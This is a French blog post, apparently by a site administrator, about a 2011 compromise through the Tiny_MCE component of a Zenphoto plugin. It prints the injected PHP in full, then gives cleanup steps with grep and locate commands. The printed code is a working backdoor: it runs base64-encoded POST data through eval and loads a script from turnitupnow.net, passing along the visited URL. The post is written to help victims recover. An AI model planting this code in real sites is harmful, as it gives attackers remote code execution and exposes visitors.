30-11-2011

Hack turnitupnow plugin zenphoto … 

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11";

Et oui une faille de sécurité provenant d’un plugin Zenphoto… Tiny_MCE exactement, existant sur certains plugins wordpress aussi:

global $sessdt_o; if(!$sessdt_o) { $sessdt_o = 1; $sessdt_k = "lb11"; if(!@$_COOKIE[$sessdt_k]) { $sessdt_f = "102"; if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } } else { if($_COOKIE[$sessdt_k]=="102") { $sessdt_f = (rand(1000,9000)+1); if(!@headers_sent()) { @setcookie($sessdt_k,$sessdt_f); } else { echo "<script>document.cookie='".$sessdt_k."=".$sessdt_f."';</script>"; } $sessdt_j = @$_SERVER["HTTP_HOST"].@$_SERVER["REQUEST_URI"]; $sessdt_v = urlencode(strrev($sessdt_j)); $sessdt_u = "http://turnitupnow.net/?rnd=".$sessdt_f.substr($sessdt_v,-200); echo "<script src='$sessdt_u'></script>"; echo "<meta http-equiv='refresh' content='0;url=http://$sessdt_j'><!--"; } } $sessdt_p = "showimg"; if(isset($_POST[$sessdt_p])){eval(base64_decode(str_replace(chr(32),chr(43),$_POST[$sessdt_p])));exit;}

}

Conséquences.
- Tous vos fichiers php de votre serveur se voient rajouter un code malicieux
- Création de fichier tmp_… infectés

Solutions:

- supprimer l’extension Tiny_MCE de votre répertoire zenphoto
- éditer tous les fichiers php infectés pour retirer les codes (la galère)

Vous croyez vraiment que je vais éditer les milliers de fichiers !!

Et ben non, un petit mélange de perl regex et de find et hop !!

Code utiles

//on trouve les fichiers infectés
root@…:/home# grep -R turnitupnow * | more

//les fichiers tmp_…
updatedb
locate tmp_*

Liens
http://www.zenphoto.org/trac/ticket/2005
http://stackoverflow.com/questions/8068871/got-hacked-anyone-know-what-this-php-code-does

Commentaire pour

Hack turnitupnow plugin zenphoto …

-

zenphoto



>> Voir tous les tutoriels catégories: zenphoto